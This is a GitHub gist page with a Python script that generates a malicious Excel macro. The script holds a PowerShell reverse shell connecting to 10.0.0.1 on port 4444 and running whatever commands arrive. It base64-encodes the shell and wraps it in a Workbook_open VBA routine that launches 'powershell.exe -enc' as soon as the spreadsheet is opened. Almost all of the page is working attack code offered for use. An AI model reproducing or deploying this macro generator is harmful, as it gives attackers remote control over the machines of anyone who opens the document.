Created
April 30, 2021 15:30
-
-
Save FrankSpierings/70b40ae6fc43252927f35696258f1c06 to your computer and use it in GitHub Desktop.
Generate a XLSM macro from python
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import codecs | |
import base64 | |
data = '''$lhost="10.0.0.1"; | |
$lport=4444; | |
$MAXCMDLENGTH=65535; | |
$client = New-Object System.Net.Sockets.TCPClient($lhost, $lport); | |
$stream = $client.GetStream(); | |
$bytes = (New-Object byte[] $MAXCMDLENGTH); | |
$out = ([text.encoding]::ASCII).GetBytes("PS $($pwd.Path)> "); | |
$stream.Write($out, 0, $out.Length); | |
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { | |
$in = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); | |
try { | |
$out = (iex $in 2>&1 | Out-String); | |
} | |
catch { | |
$out = ($_ | Out-String); | |
} | |
$out = "$($out)PS $($pwd.Path)> "; | |
$out = ([Text.Encoding]::ASCII).GetBytes($out); | |
$stream.Write($out, 0, $out.Length); | |
$stream.Flush(); | |
} | |
$client.Close();''' | |
data = base64.b64encode(codecs.encode(data, 'utf-16-le')) | |
BLOCKSIZE = 100 | |
output = 'Sub Workbook_open()\n' | |
output += 'buf = "powershell.exe -enc "\n' | |
for block in [data[i:i+BLOCKSIZE] for i in range(0, len(data), BLOCKSIZE)]: | |
output += 'buf = buf + "{0}"\n'.format(block.decode()) | |
output += 'Shell(buf)\n' | |
output += 'End Sub\n' | |
print(output) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment